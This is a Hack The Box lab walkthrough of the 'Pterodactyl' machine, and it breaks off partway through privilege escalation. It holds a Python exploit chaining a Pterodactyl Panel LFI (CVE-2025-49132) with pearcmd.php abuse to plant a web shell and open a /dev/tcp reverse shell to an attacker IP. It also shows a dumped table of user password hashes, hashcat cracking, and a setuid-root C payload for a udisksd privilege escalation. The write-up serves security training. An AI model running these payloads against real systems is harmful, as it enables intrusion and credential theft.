Nmap
┌──(wither㉿localhost)-[~/Templates/htb-labs/Medium/Pterodactyl]
└─$ nmap -sC -sV -Pn 10.129.187.198 -oN ./nmap.txt
Starting Nmap 7.98 ( https://nmap.org ) at 2026-03-12 02:21 +0000
Nmap scan report for 10.129.187.198
Host is up (0.49s latency).
Not shown: 966 filtered tcp ports (no-response), 30 filtered tcp ports (admin-prohibited)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6 (protocol 2.0)
| ssh-hostkey:
| 256 a3:74:1e:a3:ad:02:14:01:00:e6:ab:b4:18:84:16:e0 (ECDSA)
|_ 256 65:c8:33:17:7a:d6:52:3d:63:c3:e4:a9:60:64:2d:cc (ED25519)
80/tcp open http nginx 1.21.5
|_http-title: Did not follow redirect to http://pterodactyl.htb/
|_http-server-header: nginx/1.21.5
443/tcp closed https
8080/tcp closed http-proxy
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 49.47 seconds
Now add pterodactyl.htbto our /etc/hosts
HTTP - TCP 80
From the index page, we can find new domain name play.pterodactyl.htb
When I try to visit to play.pterodactyl.htb, it would redirect to the origin page pterodactyl.htb.
Also the change log
MonitorLand - CHANGELOG.txt
======================================
Version 1.20.X
[Added] Main Website Deployment
--------------------------------
- Deployed the primary landing site for MonitorLand.
- Implemented homepage, and link for Minecraft server.
- Integrated site styling and dark-mode as primary.
[Linked] Subdomain Configuration
--------------------------------
- Added DNS and reverse proxy routing for play.pterodactyl.htb.
- Configured NGINX virtual host for subdomain forwarding.
[Installed] Pterodactyl Panel v1.11.10
--------------------------------------
- Installed Pterodactyl Panel.
- Configured environment:
- PHP with required extensions.
- MariaDB 11.8.3 backend.
[Enhanced] PHP Capabilities
-------------------------------------
- Enabled PHP-FPM for smoother website handling on all domains.
- Enabled PHP-PEAR for PHP package management.
- Added temporary PHP debugging via phpinfo()
From this Added temporary PHP debugging via phpinfo(), we can get the phpinfo()is opened, so the url /phpinfo.phpshould be worked.

Also the change log said [Installed] Pterodactyl Panel v1.11.10, so there should be sites for this service.
Let's try to fuzz the sub-domains
┌──(wither㉿localhost)-[~/Templates/htb-labs/Medium/Pterodactyl]
└─$ ffuf -u http://pterodactyl.htb -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt -H "Host: FUZZ.pterodactyl.htb" -fc 302
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://pterodactyl.htb
:: Wordlist : FUZZ: /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt
:: Header : Host: FUZZ.pterodactyl.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response status: 302
________________________________________________
panel [Status: 200, Size: 1897, Words: 490, Lines: 36, Duration: 709ms]
panel.pterodactyl.htbwould be our next target here.
panel.pterodactyl.htb
Now we have get access to the service and get the version of this service Pterodactyl Panel v1.11.10, we can try to find something vulnerable CVE-2025-49132
https://www.exploit-db.com/exploits/52341
Pterodactyl Panel 1.11.11 - Remote Code Execution (RCE)
We can get the exploit script from that, let's verify the exploit
┌──(wither㉿localhost)-[~/Templates/htb-labs/Medium/Pterodactyl]
└─$ python3 exploit.py http://panel.pterodactyl.htb
http://panel.pterodactyl.htb/ => pterodactyl:PteraPanel@127.0.0.1:3306/panel
Now we can get the credit of database by this exploit script. But we still don't have any remote shell for us to connect with the target database.
We can now use LFI to steal database credentials, and there is no access to upload a file here.
So Misuse of existing server-side scripts that write to files upon execution would be our tool.
Normally, pearcmd.php is a command-line program, invoked as follows:
php /usr/local/lib/php/pearcmd.php <command> <args...>
One of its subcommands is config-create, which writes the PEAR configuration file to disk.
Here is an example of a GET request.
GET /index.php?+config-create+/&
file=/usr/local/lib/php/pearcmd.php&
/<?=phpinfo()?>+/tmp/hello.php
This code achieves two goals simultaneously:
Execute pearcmd.php (via LFI or misrouting), and
Execute pearcmd.php (via local file inclusion or misrouting), and
Smuggle CLI arguments through the URL, where:
Send CLI arguments through the URL, where:
+config-create+/ acts like a CLI command, and
+config-create+/ functions like a CLI command, and
/<?=phpinfo()?>+/tmp/hello.php is interpreted as payload + destination The path `/<?=phpinfo()?>+/tmp/hello.php` is interpreted as payload + target path.
If pearcmd.php accepts these as command-line arguments, a new file will be generated:
/tmp/hello.php
include:
<?=phpinfo()?>
Using the existing LFI exploit statement: include base_path("resources/lang/{$locale}/{$namespace}.php");
We need to include the pearcmd.php
GET /locales/locale.json?
locale=../../../../../usr/local/lib/php&
namespace=pearcmd
Continue to append "bare parameters"
+config-create+/
Then add the file parameters
GET /locales/locale.json?
+config-create+/&
locale=../../../../../usr/local/lib/php&
namespace=pearcmd&
/<?=system($_GET['cmd'])?>+/tmp/shell.php
Now the pear would write into /tmp/shell.php
After that, we use the same LFI primitives to include our shell.
GET /locales/locale.json?
locale=../../../../../tmp&
namespace=shell
And we can execute it
GET /tmp/payload.php?cmd=id
Integrate to a script
#!/usr/bin/env python3
import argparse, subprocess, base64, urllib.parse, sys
def run(cmd: str):
"""Run curl and return (body, status_code)."""
full = f"curl -sS -w '\\n%{{http_code}}' {cmd}"
out = subprocess.check_output(full, shell=True, text=True)
body, code = out.rsplit("\n", 1)
return body, int(code)
def build_launcher(attacker_ip: str, attacker_port: str) -> str:
"""Create a base64-staged reverse shell launcher."""
rev_shell = f"/bin/bash -i >& /dev/tcp/{attacker_ip}/{attacker_port} 0>&1"
encoded = base64.b64encode(rev_shell.encode()).decode()
launcher = f"echo {encoded} | base64 -d | /bin/bash"
return launcher.replace(" ", "${IFS}")
def write_payload(base: str, launcher: str):
"""Stage 1 - abuse pearcmd to write /tmp/rev.php"""
php = f"<?php @system('{launcher}'); ?>"
encoded_php = urllib.parse.quote(php, safe="")
locale_traversal = "../../../../../../usr/local/lib/php"
url = (
f'"{base}/locales/locale.json?'
"+config-create+/&"
f"locale={locale_traversal}&"
"namespace=pearcmd&"
f'/{encoded_php}+/tmp/rev.php"'
)
print("\n[*] STAGE 1 - Writing reverse shell payload via pearcmd")
print("[>] Request:")
print(url)
body, code = run(url)
if code == 200:
print(f"[+] HTTP status: {code}")
else:
print("[-] Starge 1 failed")
sys.exit(1)
def trigger_payload(base: str):
"""Stage 2 - include /tmp/rev.php via CVE-2025-49132 LFI"""
url = f'"{base}/locales/locale.json?' "locale=../../../../../tmp&" 'namespace=rev"'
print("\n[*] STAGE 2 - Triggering LFI include")
print("[>] Request:")
print(url)
body, code = run(url)
if code == 200:
print(f"[+] HTTP status: {code}")
else:
print("[-] Starge 2 failed")
sys.exit(1)
def main():
ap = argparse.ArgumentParser()
ap.add_argument(
"-t", "--target", required=True, help="target url vulnerable to CVE-2025-49132"
)
ap.add_argument("-i", "--ip", required=True, help="attacker listener IP")
ap.add_argument("-p", "--port", required=True, help="attacker listener port")
args = ap.parse_args()
base = args.target.rstrip("/")
launcher = build_launcher(args.ip, args.port)
write_payload(base, launcher)
print("\n[ EXPLOIT READY ]")
print("--------------------------------------------------")
print(f"Start listener: nc -lvnp {args.port}")
input("Press Enter to continue...")
trigger_payload(base)
print("[+] LFI trigger already sent - check listener!")
if __name__ == "__main__":
main()
Then run the script and open the listener
┌──(wither㉿localhost)-[~/Templates/htb-labs/Medium/Pterodactyl]
└─$ python3 rce.py -t http://panel.pterodactyl.htb/ -i 10.10.14.6 -p 443
[*] STAGE 1 - Writing reverse shell payload via pearcmd
[>] Request:
"http://panel.pterodactyl.htb/locales/locale.json?+config-create+/&locale=../../../../../../usr/local/lib/php&namespace=pearcmd&/%3C%3Fphp%20%40system%28%27echo%24%7BIFS%7DL2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE0LjYvNDQzIDA%2BJjE%3D%24%7BIFS%7D%7C%24%7BIFS%7Dbase64%24%7BIFS%7D-d%24%7BIFS%7D%7C%24%7BIFS%7D%2Fbin%2Fbash%27%29%3B%20%3F%3E+/tmp/shell.php"
[+] HTTP status: 200
[ EXPLOIT READY ]
--------------------------------------------------
Start listener: nc -lvnp 443
Press Enter to continue...
[*] STAGE 2 - Triggering LFI include
[>] Request:
"http://panel.pterodactyl.htb/locales/locale.json?locale=../../../../../tmp&namespace=shell"
[+] HTTP status: 200
[+] LFI trigger already sent - check listener!
We can get the shell as wwwrun.
Remember we have the credit of database, now let's enumerate it
mysql -u pterodactyl -pPteraPanel -h 127.0.0.1 panel
MariaDB [panel]> show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| panel |
| test |
+--------------------+
3 rows in set (0.001 sec)
MariaDB [panel]> use panel;
Database changed
MariaDB [panel]> select * from users;
+----+-------------+--------------------------------------+--------------+------------------------------+------------+-----------+----------------------------------------------------------
----+--------------------------------------------------------------+----------+------------+----------+-------------+-----------------------+----------+---------------------+--------------
-------+
| id | external_id | uuid | username | email | name_first | name_last | password
| remember_token | language | root_admin | use_totp | totp_secret | totp_authenticated_at | gravatar | created_at | updated_at
|
+----+-------------+--------------------------------------+--------------+------------------------------+------------+-----------+----------------------------------------------------------
----+--------------------------------------------------------------+----------+------------+----------+-------------+-----------------------+----------+---------------------+--------------
-------+
| 2 | NULL | 5e6d956e-7be9-41ec-8016-45e434de8420 | headmonitor | headmonitor@pterodactyl.htb | Head | Monitor | $2y$10$3WJht3/5GOQmOXdljPbAJet2C6tHP4QoORy1PSj59qJrU0gdX5gD2 | OL0dNy1nehBYdx9gQ5CT3SxDUQtDNrs02VnNesGOObatMGzKvTJAaO0B1zNU | en | 1 | 0 | NULL | NULL | 1 | 2025-09-16 17:15:41 | 2025-09-16 17
:15:41 |
| 3 | NULL | ac7ba5c2-6fd8-4600-aeb6-f15a3906982b | phileasfogg3 | phileasfogg3@pterodactyl.htb | Phileas | Fogg | $2y$10$PwO0TBZA8hLB6nuSsxRqoOuXuGi3I4AVVN2IgE7mZJLzky1vGC9Pi | 6XGbHcVLLV9fyVwNkqoMHDqTQ2kQlnSvKimHtUDEFvo4SjurzlqoroUgXdn8 | en | 0 | 0 | NULL | NULL | 1 | 2025-09-16 19:44:19 | 2025-11-07 18
:28:50 |
+----+-------------+--------------------------------------+--------------+------------------------------+------------+-----------+----------------------------------------------------------
----+--------------------------------------------------------------+----------+------------+----------+-------------+-----------------------+----------+---------------------+--------------
-------+
2 rows in set (0.001 sec)
We can try to crack the password of headmonitorand phileasfogg3
The password of phileasfogg3can be cracked
$2y$10$PwO0TBZA8hLB6nuSsxRqoOuXuGi3I4AVVN2IgE7mZJLzky1vGC9Pi:!QAZ2wsx
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 3200 (bcrypt $2*$, Blowfish (Unix))
Hash.Target......: $2y$10$PwO0TBZA8hLB6nuSsxRqoOuXuGi3I4AVVN2IgE7mZJLz...vGC9Pi
Also use this credit to ssh connect to the machine.
┌──(wither㉿localhost)-[~/Templates/htb-labs/Medium/Pterodactyl]
└─$ ssh phileasfogg3@pterodactyl.htb
The authenticity of host 'pterodactyl.htb (10.129.187.198)' can't be established.
ED25519 key fingerprint is: SHA256:FOOqnHbybkpXftYgyrorbBxkgW0L4yMSLYxG8F87SDE
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'pterodactyl.htb' (ED25519) to the list of known hosts.
** WARNING: connection is not using a post-quantum key exchange algorithm.
** This session may be vulnerable to "store now, decrypt later" attacks.
** The server may need to be upgraded. See https://openssh.com/pq.html
(phileasfogg3@pterodactyl.htb) Password:
Have a lot of fun...
Last login: Thu Mar 12 05:25:02 2026 from 10.10.14.6
phileasfogg3@pterodactyl:~> id
uid=1002(phileasfogg3) gid=100(users) groups=100(users)
phileasfogg3@pterodactyl:~> whoami
phileasfogg3
Privilege Escalation
By checking sudo -l
phileasfogg3@pterodactyl:~> sudo -l
[sudo] password for phileasfogg3:
Matching Defaults entries for phileasfogg3 on pterodactyl:
always_set_home, env_reset, env_keep="LANG LC_ADDRESS LC_CTYPE LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE
LC_TIME LC_ALL LANGUAGE LINGUAS XDG_SESSION_COOKIE", !insults, secure_path=/usr/sbin\:/usr/bin\:/sbin\:/bin, targetpw
User phileasfogg3 may run the following commands on pterodactyl:
(ALL) ALL
There are nothing useful here.
By uploading thelinpeas.shwe can find something interesting
╔══════════╣ PATH
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#writable-path-abuses
/home/phileasfogg3/bin:/usr/local/bin:/usr/bin:/bin
New path exported: /home/phileasfogg3/bin:/usr/local/bin:/usr/bin:/bin:/usr/local/sbin:/usr/sbin:/sbin
╔══════════╣ Cleaned processes
╚ Check weird & unexpected proceses run by root: https://book.hacktricks.xyz/linux-hardening/privilege-escalation#processes
postfix 2275 0.0 0.4 65760 8960 ? S Mar11 0:00 _ qmgr -l -t fifo -u
postfix 32426 0.0 0.4 49212 8704 ? S 04:06 0:00 _ pickup -l -t fifo -u
postfixservice means there will be some emails in this machine.
phileasfogg3@pterodactyl:~> cat /var/spool/mail/phileasfogg3
From headmonitor@pterodactyl Fri Nov 07 09:15:00 2025
Delivered-To: phileasfogg3@pterodactyl
Received: by pterodactyl (Postfix, from userid 0)
id 1234567890; Fri, 7 Nov 2025 09:15:00 +0100 (CET)
From: headmonitor headmonitor@pterodactyl
To: All Users all@pterodactyl
Subject: SECURITY NOTICE — Unusual udisksd activity (stay alert)
Message-ID: 202511070915.headmonitor@pterodactyl
Date: Fri, 07 Nov 2025 09:15:00 +0100
MIME-Version: 1.0
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: 7bit
Attention all users,
Unusual activity has been observed from the udisks daemon (udisksd). No confirmed compromise at this time, but increased vigilance is required.
Do not connect untrusted external media. Review your sessions for suspicious activity. Administrators should review udisks and system logs and apply pending updates.
Report any signs of compromise immediately to headmonitor@pterodactyl.htb
— HeadMonitor
System Administrator
Unusual activity has been observed from the udisks daemon (udisksd).this leads to udisksd
udisksd is a root daemon that exposes disk operations (such as inserting and accessing USB drives) to non-privileged users via D-Bus.
Firstly, let's check the status of udisksd
phileasfogg3@pterodactyl:~> udisksctl status
MODEL REVISION SERIAL DEVICE
--------------------------------------------------------------------------
VMware Virtual disk 2.0 6000c29ebca7fe7ae790014ba03ab7ef sda
Upon checking recent udisksd CVE vulnerabilities, we discovered CVE-2025-6018 and CVE-2025-6019.
CVE-2025-6018 allows attackers to bypass udisks' allow_active protection, thereby remotely performing physical device operations that should only be performed by local active users.
Attack Chain
The attack flow is actually:
CVE-2025-6018
↓ Bypass udisks permission checks
↓ Get the system to mount the attacker-provided image
↓ CVE-2025-6019
↓ Malicious XFS image triggers root privilege side effects during mounting
↓ Local privilege escalation (LPE)
Simple summary:
6018 gives us allow_active (authentication bypass, session spoof)
6019 turns allow_active + udisks into root (toctou code execution)
Now let's exploit them step by step
Firstly weaponizing CVE-2025-6019.
// xpl.c
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
static void __attribute__ ((constructor)) _init(void);
static void _init(void) {
printf("[+] Pwn library loaded!\n");
setuid(0); seteuid(0); setgid(0); setegid(0);
static char *argv[] = { "sh", NULL };
static char *envp[] = { "PATH=/bin:/usr/bin:/sbin", NULL };
execve("/bin/sh", argv, envp);
printf("[!] This should not be reached!\n");
}
/**
* dummy main to keep process alive
*/
int main() {
pause();
return 0;
}
Now build it
gcc -static -o xpl xpl.c
Then create the XFS file system
# 1) Create space (minimun 300M required for XFS)
dd if=/dev/zero of=xpl.img bs=1M count=300
# 2) Format as LEGACY XFS that libblockdev likes
mkfs.xfs -f \
-m crc=0 \
-n ftype=0 \
xpl.img
Next, the malicious binary file will be implanted into the generated XFS file system.
# mount as loop ddevice type
mkdir -p /tmp/mnt
sudo mount -o loop xpl.img /tmp/mnt
sudo cp xpl /tmp/mnt/
# root-owned + suid set
sudo chown root:root /tmp/mnt/*
sudo chmod 4755 /tmp/mnt/*
# cleanup
sudo umount /tmp/mnt
rmdir /tmp/mnt
Now upload the XMS image
┌──(wither㉿localhost)-[~/Templates/htb-labs/Medium/Pterodactyl]
└─$ xz -9 xpl.img
scp xpl.img.xz phileasfogg3@pterodactyl.htb:/tmp